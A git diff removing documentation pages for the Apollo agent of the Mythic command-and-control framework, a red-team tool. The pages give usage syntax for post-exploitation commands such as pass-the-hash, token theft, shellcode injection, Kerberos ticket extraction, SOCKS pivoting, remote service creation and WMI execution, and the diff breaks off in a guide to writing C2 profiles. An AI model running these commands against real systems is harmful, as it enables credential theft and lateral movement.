a/documentation-payload/apollo/commands/pth.md +++ /dev/null @@ -1,55 +0,0 @@ -+++ -title = "pth" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Create, Process Inject, Process Kill -{{% /notice %}} - -## Summary -Use mimikatz's `sekurlsa::pth` module to spawn a new process with a user's Kerberos keys. - -### Arguments -#### Domain -Domain that the specified user is part of. - -#### User -Username for which you've obtained credential material for. - -#### NTLM -NTLM password hash of the specified user. - -#### AES128 (Optional) -The AES128 key of the user. Used for over pass the hash. - -#### AES256 (Optional) -The AES256 key of the user. Used for over pass the hash. - -#### Run (Optional) -Program to spawn using alternate credentials. Default: cmd.exe. - -{{% notice info %}} -When choosing a program to spawn, consider whether or not you need the process to be long-lived. A process that spawns and exits immediately will not be a good candidate to perform `steal_token` against, for example, as the process will no longer exist when attempting to impersonate the credential material. -{{% /notice %}} - -## Usage -``` -pth -Domain [domain.local] -User [username] -NTLM [ntlm_hash_val] [-AES128 [aes_128_val] -AES256 [aes_256_val] -Run [cmd.exe]] -``` - -Example -``` -pth -Domain contoso.local -User djhohnstein -NTLM 21BC7DCD88EE195ECF3728677A47815B -pth -Domain contoso.local -User djhohnstein -NTLM 21BC7DCD88EE195ECF3728677A47815B -Run powershell.exe -``` - - -## MITRE ATT&CK Mapping - -- T1550 - -### Resrouces -- [mimikatz](https://github.com/gentilkiwi/mimikatz) diff --git a/documentation-payload/apollo/commands/pwd.md b/documentation-payload/apollo/commands/pwd.md deleted file mode 100644 index 5da5c33d..00000000 --- a/documentation-payload/apollo/commands/pwd.md +++ /dev/null @@ -1,21 +0,0 @@ -+++ -title = "pwd" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Retrieve the agent process's current working directory. - -## Usage -``` -pwd -``` -Example -``` -pwd -``` -## MITRE ATT&CK Mapping - -- T1083 diff --git a/documentation-payload/apollo/commands/reg_query.md b/documentation-payload/apollo/commands/reg_query.md deleted file mode 100644 index 39e02e4c..00000000 --- a/documentation-payload/apollo/commands/reg_query.md +++ /dev/null @@ -1,40 +0,0 @@ -+++ -title = "reg_query" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Registry Read -{{% /notice %}} - -## Summary -Query subkeys of a specified registry key. - -### Arguments - -![subkeys](../images/reg_query.png) - -#### Hive -The registry key to retrieve subkeys for. This must be in the format of `HKLM:\SYSTEM\Setup`, where `HKLM` can be any of the following values: - -- HKLM -- HKCU -- HKU -- HKCR -- HKCC - -#### Key (optional) -Registry key to query in the Hive for. - -## Usage -``` -reg_query -Hive HKLM -Key System\\Setup -``` - -![subkeys](../images/reg_query_disp.png) - -## MITRE ATT&CK Mapping - -- T1012 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/reg_write_value.md b/documentation-payload/apollo/commands/reg_write_value.md deleted file mode 100644 index 8e88e647..00000000 --- a/documentation-payload/apollo/commands/reg_write_value.md +++ /dev/null @@ -1,48 +0,0 @@ -+++ -title = "reg_write_value" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Registry Write -{{% /notice %}} - -## Summary -Write a new string or integer value to the specified Value Name that's within the specified Registry Key. - -### Arguments - -#### Hive -The registry hive in which the `Key` lives. Must be one of: - -- HKLM -- HKCU -- HKU -- HKCR -- HKCC - -#### Key -The registry key to write to. Default: `\` - -#### Name (optional) -The name of the value to which you wish to write the new value to. Default will write to the `(Default)` value. - -#### Value (optional) -The new value to store in the designated Name. If this is an integer, a DWORD will be written. Otherwise, this will be a string. - -## Usage -Set the value of `OsLoaderPath` from the `HKLM:\SYSTEM\Setup` registry key to `\HardDisk4\`. -``` -reg_write_value -Hive HKLM -Key SYSTEM\\Setup -Name OsLoaderPath -Value \\HardDisk4\\ -``` - -## MITRE ATT&CK Mapping - -- T1547 -- T1037 -- T1546 -- T1574 -- T1112 -- T1003 diff --git a/documentation-payload/apollo/commands/register_assembly.md b/documentation-payload/apollo/commands/register_assembly.md deleted file mode 100644 index 62341a7a..00000000 --- a/documentation-payload/apollo/commands/register_assembly.md +++ /dev/null @@ -1,19 +0,0 @@ -+++ -title = "register_assembly" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Cache a .NET assembly to be used in other post-exploitation jobs. This command is a thin wrapper around the [`register_file`](/agents/apollo/commands/register_file/) command. - -By default, these files are cached in the agent using both AES256 at rest, and decrypted only for task execution. - -### Arguments (Popup) -#### File -The file to cache in the agent for post-ex jobs. - -## MITRE ATT&CK Mapping - -- T1547 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/register_coff.md b/documentation-payload/apollo/commands/register_coff.md deleted file mode 100644 index fa43cbbb..00000000 --- a/documentation-payload/apollo/commands/register_coff.md +++ /dev/null @@ -1,19 +0,0 @@ -+++ -title = "register_coff" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Cache an object file to be used in other post-exploitation jobs. This command is a thin wrapper around the [`register_file`](/agents/apollo/commands/register_file/) command. - -By default, these files are cached in the agent using both AES256 at rest, and decrypted only for task execution. - -### Arguments (Popup) -#### File -The file to cache in the agent for post-ex jobs. - -## MITRE ATT&CK Mapping - -- T1547 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/register_file.md b/documentation-payload/apollo/commands/register_file.md deleted file mode 100644 index 98302b9f..00000000 --- a/documentation-payload/apollo/commands/register_file.md +++ /dev/null @@ -1,21 +0,0 @@ -+++ -title = "register_file" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Cache a file to be used in other post-exploitation jobs. If the file extension ends in `.ps1`, this file will be used in PowerShell post-exploitation jobs, such as `powershell`, `psinject`, and `powerpick`. Otherwise, these files are used by `assembly_inject`, `execute_assembly`, `inline_assembly`, `execute_pe` or `execute_coff`. - -By default, these files are cached in the agent using both AES256 and DPAPI encryption at rest, and decrypted only for task execution. - ->Note: The type of executable (.NET assembly or unmanaged executable) is not tracked internally, so it's up to the operator to specify a correct executable for their command. e.g., do not provide Seatbelt.exe to `execute_pe` - -### Arguments (Popup) -#### File -The file to cache in the agent for post-ex jobs. - -## MITRE ATT&CK Mapping - -- T1547 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/rev2self.md b/documentation-payload/apollo/commands/rev2self.md deleted file mode 100644 index e155e6d7..00000000 --- a/documentation-payload/apollo/commands/rev2self.md +++ /dev/null @@ -1,17 +0,0 @@ -+++ -title = "rev2self" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Revert to agent's primary token. - -## Usage -``` -rev2self -``` - -## Detailed Summary -The `rev2self` command uses the `SetThreadToken` Windows API to revert the current thread's access token to the process's primary token. diff --git a/documentation-payload/apollo/commands/rm.md b/documentation-payload/apollo/commands/rm.md deleted file mode 100644 index 7de0322e..00000000 --- a/documentation-payload/apollo/commands/rm.md +++ /dev/null @@ -1,33 +0,0 @@ -+++ -title = "rm" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: File Delete -{{% /notice %}} - -## Summary -Delete a specified file. - -### Arguments (Positional) -#### Path -Path to a the file to be deleted. If this is not a full path, the agent's current working directory will be used. - -## Usage -``` -rm [path] -rm -Path [path] -``` -Example -``` -rm C:\config.txt -rm -Path C:\Program Files\Google Chrome -``` - -## MITRE ATT&CK Mapping - -- T1106 -- T1107 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/run.md b/documentation-payload/apollo/commands/run.md deleted file mode 100644 index 101b8170..00000000 --- a/documentation-payload/apollo/commands/run.md +++ /dev/null @@ -1,36 +0,0 @@ -+++ -title = "run" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Create -{{% /notice %}} - -## Summary -Execute a binary with any specified arguments. Command will use %PATH% without needing to use full paths. - -### Arguments -#### Executable -Executable binary to run. - -#### Arguments -Any arguments to the binary being executed. - -## Usage -``` -run -Executable [binary] -Arguments [arguments] -``` - -Example -``` -run -Executable ipconfig -Arguments /all -``` - -## MITRE ATT&CK Mapping - -- T1106 -- T1218 -- T1553 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/sc.md b/documentation-payload/apollo/commands/sc.md deleted file mode 100644 index deac3ccb..00000000 --- a/documentation-payload/apollo/commands/sc.md +++ /dev/null @@ -1,158 +0,0 @@ -+++ -title = "sc" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -.NET implementation of the Service Control Manager binary `sc.exe`. - -### Arguments - -The `sc` command has several different parameter groups based on the type of tasking you perform. The taskings are grouped based on whether you pass the following flags: - -- `-Query` -- `-Start` -- `-Stop` -- `-Create` -- `-Delete` -- `-Modify` - -### Query - -![query](../images/sc_query.png) - -#### Computer (optional) - -The computer to query services on. - -#### ServiceName (optional) - -The name of the service to query. - -#### DisplayName (optional) - -The display name of the service to query. - -### Start - -![start](../images/sc_start.png) - -#### ServiceName - -The name of the service to start. - -#### Computer (optional) - -The computer on which the specified `ServiceName` will be started. - -### Stop - -![stop](../images/sc_stop.png) - -#### ServiceName - -The name of the service to stop. - -#### Computer (optional) - -The computer to stop the specified `ServiceName` service. - -### Create - -![create](../images/sc_create.png) - -#### ServiceName - -The name of the service that will be created. - -#### DisplayName - -The display name of the new service. - -#### BinPath - -Path to service executable. - -#### Computer (optional) - -Computer to create the service on. - -### Delete - -![delete](../images/sc_delete.png) - -#### ServiceName - -The name of the service to stop. - -#### Computer (optional) - -The computer to stop the specified `ServiceName` service. - -### Modify - -![delete](../images/sc_modify.png) - -#### ServiceName - -The name of the service to modify. - -#### Computer (optional) - -The computer to modify the specified `ServiceName` service. - -#### BinPath (optional) - -Path to service executable. - -#### DisplayName (optional) - -The display name of the service to query. - -#### Description (optional) -Set the service description. - -#### StartType (optional) -Set the user the service will run as. Defaults to SERVICE_NO_CHANGE. - -Valid options: SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_BOOT_START, SERVICE_DEMAND_START, SERVICE_DISABLED, SERVICE_SYSTEM_START - -#### Dependencies (optional) -Set the dependencies for a service. Values can be a comma separated list or an empty string ("") to remove dependencies. - -#### ServiceType (optional) -Set the service type. - -Valid Options: SERVICE_NO_CHANGE, SERVICE_KERNEL_DRIVER, SERVICE_FILE_SYSTEM_DRIVER, SERVICE_WIN32_OWN_PROCESS, SERVICE_WIN32_SHARE_PROCESS, SERVICE_INTERACTIVE_PROCESS, SERVICETYPE_NO_CHANGE, SERVICE_WIN32 - -#### RunAs (optional) - -Set the user the service will run as. - -#### Password (optional) -Set the service account password. - - -## Usage -``` -# Query services locally -sc -Query - -# Start a service on a computer (requires admin) -sc -Start -ServiceName ApolloSvc -Computer DC1 - -# Stop a service -sc -Stop -ServiceName ApolloSvc - -# Create a service on a computer -sc -Create -ServiceName ApolloSvc -DisplayName "Apollo PSExec" -BinPath C:\Users\Public\apollo_service.exe -Computer DC1 - -# Delete a service -sc -Delete -ServiceName ApolloSvc -Computer DC1 -``` - -## MITRE ATT&CK Mapping - -- T1106 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/screenshot.md b/documentation-payload/apollo/commands/screenshot.md deleted file mode 100644 index 8c2bbac2..00000000 --- a/documentation-payload/apollo/commands/screenshot.md +++ /dev/null @@ -1,18 +0,0 @@ -+++ -title = "screenshot" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Take a screenshot of the desktop session associated with the current process. - -## Usage -``` -screenshot -``` - -## MITRE ATT&CK Mapping - -- T1113 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/screenshot_inject.md b/documentation-payload/apollo/commands/screenshot_inject.md deleted file mode 100644 index 2930818b..00000000 --- a/documentation-payload/apollo/commands/screenshot_inject.md +++ /dev/null @@ -1,45 +0,0 @@ -+++ -title = "screenshot" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Inject -{{% /notice %}} - -## Summary -Take a screenshot of the desktop session associated with the target process. - -## Arguments - -### PID - -The process to inject the screenshot assembly into. - -### Count - -How many screenshots to take. Default: 1 - -### Interval - -Amount of time (in seconds) to wait between screenshots being taken. Default: 0 - -## Usage -``` -screenshot_inject -PID [pid] -Count [count] -Interval [interval] -``` - -## MITRE ATT&CK Mapping - -- T1113 - -## Special Thanks -Reznok wrote the Apollo 1.X version of this module. You can find him at the following: - -Social | Handle --------|------- -Github|https://github.com/reznok -Twitter|[@reznok](https://twitter.com/rezn0k) -BloodHoundGang Slack|@reznok \ No newline at end of file diff --git a/documentation-payload/apollo/commands/set_injection_technique.md b/documentation-payload/apollo/commands/set_injection_technique.md deleted file mode 100644 index 524c0c1b..00000000 --- a/documentation-payload/apollo/commands/set_injection_technique.md +++ /dev/null @@ -1,22 +0,0 @@ -+++ -title = "set_injection_technique" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Change the process injection technique the agent will use for post-exploitation jobs. - -## Usage (Positional) -``` -set_injection_technique [technique] -``` -Example -``` -set_injection_technique CreateRemoteThreadInjection -``` - -## MITRE ATT&CK Mapping - -- T1055 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/shell.md b/documentation-payload/apollo/commands/shell.md deleted file mode 100644 index 01bb4b68..00000000 --- a/documentation-payload/apollo/commands/shell.md +++ /dev/null @@ -1,34 +0,0 @@ -+++ -title = "shell" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Create -{{% /notice %}} - -## Summary -Execute a shell command using `cmd.exe /c`. - -### Arguments (Positional) -#### Command -Command to be executed. - -#### Arguments -Any arguments to the command to be executed. - -## Usage -``` -shell [command] [arguments] -``` - -Example -``` -shell ipconfig /all -``` - -## MITRE ATT&CK Mapping - -- T1059 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/shinject.md b/documentation-payload/apollo/commands/shinject.md deleted file mode 100644 index 0e8d8477..00000000 --- a/documentation-payload/apollo/commands/shinject.md +++ /dev/null @@ -1,29 +0,0 @@ -+++ -title = "shinject" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Inject -{{% /notice %}} - -## Summary -Inject arbitrary shellcode into a remote process. - -### Arguments (Popup) -#### PID -Target process ID to inject into. - -#### Shellcode -File containing position independant shellcode. - -## Usage -``` -shinject -``` - -## MITRE ATT&CK Mapping - -- T1055 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/sleep.md b/documentation-payload/apollo/commands/sleep.md deleted file mode 100644 index 28a5c5fe..00000000 --- a/documentation-payload/apollo/commands/sleep.md +++ /dev/null @@ -1,30 +0,0 @@ -+++ -title = "sleep" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Change the agent's callback interval in seconds. Optionally specify the agent's jitter percentage for callback intervals. - -### Arguments (Positional) -#### interval -The amount of time an agent will wait before callback to the Mythic server in _seconds_. - -#### jitter -A percentage value to randomize callback intervals for a randomness effect. Valid inputs will be between `0` and `99`. - -## Usage -``` -sleep [seconds] [jitter] -``` -Example -``` -sleep 60 25 -``` - - -## MITRE ATT&CK Mapping - -- T1029 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/socks.md b/documentation-payload/apollo/commands/socks.md deleted file mode 100644 index 9dafa29d..00000000 --- a/documentation-payload/apollo/commands/socks.md +++ /dev/null @@ -1,28 +0,0 @@ -+++ -title = "socks" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Start a SOCKS server to send traffic through your agent. When started, you can then bind to the specified port on the Mythic server, and use it to route traffic into the target network. Currently only TCP connections are supported. UDP operations will not return. - -### Arguments - -#### port -The port number to bind the Mythic SOCKSv5 server. - -## Usage -``` -socks [port] -``` - -Example -``` -socks 7000 -``` - -## MITRE ATT&CK Mapping - -- T1090 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/spawn.md b/documentation-payload/apollo/commands/spawn.md deleted file mode 100644 index 10a4fe99..00000000 --- a/documentation-payload/apollo/commands/spawn.md +++ /dev/null @@ -1,26 +0,0 @@ -+++ -title = "spawn" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Create, Process Inject -{{% /notice %}} - -## Summary -Spawn a new Apollo agent based off the payload template given. (Note: Must be `Shellcode` format.) - -### Arguments (Popup) -#### Payload Template -Template used to build and spawn a new agent from. This must be a Shellcode payload in order for this command to generate a new callback. - -## Usage -``` -spawn -``` - -## MITRE ATT&CK Mapping - -- T1055 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/spawnto_x64.md b/documentation-payload/apollo/commands/spawnto_x64.md deleted file mode 100644 index 1e48553e..00000000 --- a/documentation-payload/apollo/commands/spawnto_x64.md +++ /dev/null @@ -1,25 +0,0 @@ -+++ -title = "spawnto_x64" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Specify the default binary to be used for 64-bit post-exploitation jobs. - -### Arguments -#### Application -Specify the full path to a binary to spawn for 64-bit post-exploitation jobs. - -#### Arguments -Optional arguments to pass to the spawned binary. - -## Usage -``` -spawnto_x64 -Application [binpath] -Arguments [args] -``` - -## MITRE ATT&CK Mapping - -- T1055 diff --git a/documentation-payload/apollo/commands/spawnto_x86.md b/documentation-payload/apollo/commands/spawnto_x86.md deleted file mode 100644 index e864c162..00000000 --- a/documentation-payload/apollo/commands/spawnto_x86.md +++ /dev/null @@ -1,25 +0,0 @@ -+++ -title = "spawnto_x86" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Specify the default binary to be used for 32-bit post-exploitation jobs. - -### Arguments (Positional or Popup) -#### Application -Specify the full path to a binary to spawn for 32-bit post-exploitation jobs. - -#### Arguments (optional) -Optional arguments to pass to the spawned binary. - -## Usage -``` -spawnto_x86 -Application [binpath] -Arguments [args] -``` - -## MITRE ATT&CK Mapping - -- T1055 diff --git a/documentation-payload/apollo/commands/steal_token.md b/documentation-payload/apollo/commands/steal_token.md deleted file mode 100644 index 1f22eaff..00000000 --- a/documentation-payload/apollo/commands/steal_token.md +++ /dev/null @@ -1,32 +0,0 @@ -+++ -title = "steal_token" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Open -{{% /notice %}} - -## Summary -Steal the primary token from another process. If no target process is specified, `winlogon.exe` will be the default target. - -### Arguments (Positional) -#### pid -The process id to steal a primary access token from. This will default to `winlogon.exe` if no PID is provided. - -## Usage -``` -steal_token [pid] -``` -Example -``` -steal_token 1234 -``` - - -## MITRE ATT&CK Mapping - -- T1134 -- T1528 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ticket_cache_add.md b/documentation-payload/apollo/commands/ticket_cache_add.md deleted file mode 100644 index 2828c229..00000000 --- a/documentation-payload/apollo/commands/ticket_cache_add.md +++ /dev/null @@ -1,36 +0,0 @@ -+++ -title = "ticket_cache_add" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: WindowsAPIInvoke -{{% /notice %}} - -## Summary -Add the specified ticket(s) into the current logon session, this uses LSA APIs to load tickets into the active logon session on the host. - - -### Arguments - - -#### b64ticket -the base64 ticket to add to the store - - - - -## Usage -``` -ticket_cache_add -b64ticket [Value] -``` - -Example -``` -ticket_cache_add -b64ticket [Value] -``` - -## MITRE ATT&CK Mapping -- T1550 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ticket_cache_extract.md b/documentation-payload/apollo/commands/ticket_cache_extract.md deleted file mode 100644 index d42d9f28..00000000 --- a/documentation-payload/apollo/commands/ticket_cache_extract.md +++ /dev/null @@ -1,39 +0,0 @@ -+++ -title = "ticket_cache_extract" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: WindowsAPIInvoke -{{% /notice %}} - -## Summary -Extract the specified ticket(s) from the current logon session, this uses LSA APIs to extract a ticket from the active logon session on the host. -This includes all details and a base64 encoded copy of the ticket. -If ran from an elevated context this also can get a ticket from any session. - - -### Arguments - - -#### luid -Optional argument to extract a ticket from the cache of a different logon session, must be elevated. - -#### Service -The name of the service to taget for example krbtgt for tgt, or one of the various service ticket types (ex. cifs, host, ldap, etc.) - -## Usage -``` -ticket_cache_extract -luid [luidValue] -service [service] -``` - -Example -``` -ticket_cache_extract -luid 0xabcd -service cifs -ticket_cache_extract -service krbtgt -``` - -## MITRE ATT&CK Mapping -- T1550 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ticket_cache_list.md b/documentation-payload/apollo/commands/ticket_cache_list.md deleted file mode 100644 index 0f78dcaf..00000000 --- a/documentation-payload/apollo/commands/ticket_cache_list.md +++ /dev/null @@ -1,36 +0,0 @@ -+++ -title = "ticket_cache_list" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: WindowsAPIInvoke -{{% /notice %}} - -## Summary -list information about all loaded tickets in the current active logon session. This uses lsa apis to return all relevant information about the tickets in the current session. -If ran from an elevated context this also gets information on tickets in all sessions. - - -### Arguments - - -#### luid -Optional argument to filter the tickets in the agents store to ones matching a specified luid. - - - -## Usage -``` -ticket_cache_list -luid [luidValue] -``` - -Example -``` -ticket_cache_list -luid [luidValue] -``` - -## MITRE ATT&CK Mapping -- T1550 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ticket_cache_purge.md b/documentation-payload/apollo/commands/ticket_cache_purge.md deleted file mode 100644 index 06b8c8ef..00000000 --- a/documentation-payload/apollo/commands/ticket_cache_purge.md +++ /dev/null @@ -1,44 +0,0 @@ -+++ -title = "ticket_cache_purge" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: WindowsAPIInvoke -{{% /notice %}} - -## Summary -Remove the specified ticket(s) from the current logon session, this uses LSA APIs to delete tickets from the active logon session on the host. - - -### Arguments - - -#### serviceName -the name of the service to remove, needs to include the domain name, not required if -all flag is present - -#### All (Optional) -Argument flag to remove all tickets from the current logon session - -#### luid (Optional) -Optional argument to remove a ticket from the cache of a different logon session, must be elevated. - - -## Usage -``` -ticket_cache_purge -luid [luidValue] -serviceName [serviceName] -All -``` - -Example -``` -ticket_cache_purge -serviceName ldap/machineName.DomainName.local/domainName.local@DomainName.local -ticket_cache_purge -serviceName cifs/machineName@DomainName.local -ticket_cache_purge -all -ticket_cache_purge -luid 0xabcd123 -serviceName cifs/machineName@DomainName.local -ticket_cache_purge -luid 0xabcd123 -All -``` - -## MITRE ATT&CK Mapping -- T1550 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ticket_store_add.md b/documentation-payload/apollo/commands/ticket_store_add.md deleted file mode 100644 index 5bbbffd5..00000000 --- a/documentation-payload/apollo/commands/ticket_store_add.md +++ /dev/null @@ -1,37 +0,0 @@ -+++ -title = "ticket_store_add" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: WindowsAPIInvoke -{{% /notice %}} - -## Summary -Add a new ticket to the agents internal ticket store. The supplied ticket should be a base64 encoded ticket. -The ticket will be loaded into a temp logon session and extracted to repopulate all relevant information. - - -### Arguments - - -#### B64ticket -The base64 ticket value of the ticket to add to the store - - - -## Usage -``` -ticket_store_add -base64ticket [ticketValue] -``` - -Example -``` -ticket_store_add -base64ticket [ticketValue] -``` - -## MITRE ATT&CK Mapping - -- T1550 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ticket_store_list.md b/documentation-payload/apollo/commands/ticket_store_list.md deleted file mode 100644 index 57cf9b11..00000000 --- a/documentation-payload/apollo/commands/ticket_store_list.md +++ /dev/null @@ -1,34 +0,0 @@ -+++ -title = "ticket_store_list" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: -{{% /notice %}} - -## Summary -list information about all loaded tickets in the agents ticket store. - - -### Arguments - - -#### luid -Optional argument to filter the tickets in the agents store to ones matching a specified luid. - - - -## Usage -``` -ticket_store_list -luid [luidValue] -``` - -Example -``` -ticket_store_list -luid [luidValue] -``` - -## MITRE ATT&CK Mapping diff --git a/documentation-payload/apollo/commands/ticket_store_purge.md b/documentation-payload/apollo/commands/ticket_store_purge.md deleted file mode 100644 index d277fc3f..00000000 --- a/documentation-payload/apollo/commands/ticket_store_purge.md +++ /dev/null @@ -1,40 +0,0 @@ -+++ -title = "ticket_store_purge" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: -{{% /notice %}} - -## Summary -Remove the specified ticket(s) from the agents internal ticket store - - -### Arguments - - -#### serviceName -the name of the service to remove, needs to include the domain name, not required if -all flag is present - -#### All (Optional) -Argument flag to remove all tickets from Apollo's ticket store - - - -## Usage -``` -ticket_store_purge -serviceName [serviceName] -all -``` - -Example -``` -ticket_store_purge -serviceName ldap/machineName.DomainName.local/domainName.local@DomainName.local -ticket_store_purge -serviceName cifs/machineName@DomainName.local -ticket_store_purge -all -``` - -## MITRE ATT&CK Mapping -- T1550 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/unlink.md b/documentation-payload/apollo/commands/unlink.md deleted file mode 100644 index f7040b40..00000000 --- a/documentation-payload/apollo/commands/unlink.md +++ /dev/null @@ -1,39 +0,0 @@ -+++ -title = "unlink" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Unlink a peer-to-peer callback from the current agent. - -### Arguments (modal popup) -#### Callback -Drop down menu of hosts with callbacks. - -## Usage -``` -unlink -``` -In pop up menu -``` -Host: [host] -Payload: [payload] -C2 Profile: [profile] -``` - -Example -``` -unlink -``` -In the pop up -``` -Host: client01.shire.local -Payload: Callback 2 - Autogenerated from task 6 on callback 2 -C2 Profile: SMBServer -``` - -## Detailed Summary -The `unlink` command will disconnect a peer-to-peer agent from the current agent. This will not exit the target agent, which will allow connecting to it from another agent. -> To link to a new or existing agent, use the `link` command. diff --git a/documentation-payload/apollo/commands/upload.md b/documentation-payload/apollo/commands/upload.md deleted file mode 100644 index 206c1d14..00000000 --- a/documentation-payload/apollo/commands/upload.md +++ /dev/null @@ -1,37 +0,0 @@ -+++ -title = "upload" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: File Write -{{% /notice %}} - -## Summary -Upload a file from the Mythic server to the remote host. - -### Arguments (Popup) - -![args](../images/upload.png) - -#### File -File browser to select local file to be uploaded. - -#### Destination -The path to upload the file too. UNC paths are acceptable. - -#### Host -Host to upload the file to. - -## Usage -``` -upload -``` - -## MITRE ATT&CK Mapping - -- T1132 -- T1030 -- T1105 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/whoami.md b/documentation-payload/apollo/commands/whoami.md deleted file mode 100644 index 1f022869..00000000 --- a/documentation-payload/apollo/commands/whoami.md +++ /dev/null @@ -1,21 +0,0 @@ -+++ -title = "whoami" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Retrieve information about the current process and thread's access tokens. - -## Usage -``` -whoami -``` - -![whoami](../images/whoami.png) - - -## MITRE ATT&CK Mapping - -- T1033 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/wmi_execute.md b/documentation-payload/apollo/commands/wmi_execute.md deleted file mode 100644 index 3a2cb4e6..00000000 --- a/documentation-payload/apollo/commands/wmi_execute.md +++ /dev/null @@ -1,43 +0,0 @@ -+++ -title = "wmi_execute" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: WindowsAPIInvoke -{{% /notice %}} - -## Summary -Use WMI to execute a command on the local or specified remote system, can also be given optional credentials to impersonate a different user. -Note it will not return output from the executed command, this is due to how wmi is handled by windows. - - -### Arguments - - -#### command -Should be the full path and arguments of the process to execute -#### host -Computer to execute the command on. If empty, the current computer -#### username -username of the account to execute the wmi process as -#### password -plaintext password of the account -#### domain -domain name for the account - - -## Usage -``` -wmi_execute -command [Value] -host [Value] -username [Value] -password [Value] -domain [Value] -``` - -Example -``` -wmi_execute -command "c:\windows\tasks\apollo.exe" -host dc01.domain.local -username admin -password mypassword -domain domain.local -``` - -## MITRE ATT&CK Mapping -- \ No newline at end of file diff --git a/documentation-payload/apollo/contributing/C2 Profiles.md b/documentation-payload/apollo/contributing/C2 Profiles.md deleted file mode 100644 index 8637fef5..00000000 --- a/documentation-payload/apollo/contributing/C2 Profiles.md +++ /dev/null @@ -1,93 +0,0 @@ -+++ -title = "Creating C2 Profiles" -chapter = false -weight = 25 -+++ - -## Creating a New Profile - -New command-and-control profiles for Apollo should be new projects under the Apollo solution. Your new project should be named `C2ChannelProfile`, where `C2Channel` is the means through which the profile will talk to Mythic. For example, if this profile communicates over HTTP, the project name will be `HttpProfile`. If it would communicate over web sockets, the name should be `WebSocketProfile`. This project should be a .NET Framework 4.0 Class library. - -In your new project, create a class that has the same name as your project (e.g., `public class C2ChannelProfile`). This class should inherit from the `C2Profile` abstract class and the `IC2Profile` interface. The constructor of your new C2 profile will take the following parameters: - -- Dictionary parameters - C2 Profile specific parameters. For example, things like jitter, urls, host headers, etc. would all be passed via key-value pairs in this dictionary. -- ISerializer serializer - This object is used to prepare C# structures into a serialized format that Mythic will receive, and allow the profile to deserialize JSON messages from Mythic into Apollo structures. Currently this variable should not be modified in the agent core. -- IAgent agent - Core Apollo agent interface that grants the C2 profile access to other parts of the agent, such as the task manager. - -The new C2 profile should implement the IC2Profile interface, which is as follows: - -``` -public interface IC2Profile -{ - // Used to connect to Mythic. This function will send the checkinMessage and perform any EKE, if required. - // On successful connect, this function will return the value of the onResp function. - bool Connect(CheckinMessage checkinMessage, OnResponse onResp); - - // The main working loop of the agent. This should perform the periodic checkin of the agent, - // dispatch new taskings, and return results. - void Start(); - - // If the profile, on submission of data, will not receive Mythic's response as a reply, - // this function should be used. Example: The data is submitted to a separate url than - // where Apollo will receive the response. Used if a one way profile. - bool Send(IMythicMessage message); - - // Send the data specified by Message to the server and pass the response of - // Mythic ot the onResponse function. - bool SendRecv(T message, OnResponse onResponse); - - // Fetch data from Mythic. Used if the profile is a one-way profile. - bool Recv(MessageType mt, OnResponse onResp); - - // Tells the caller that this C2 profile is stateful, - 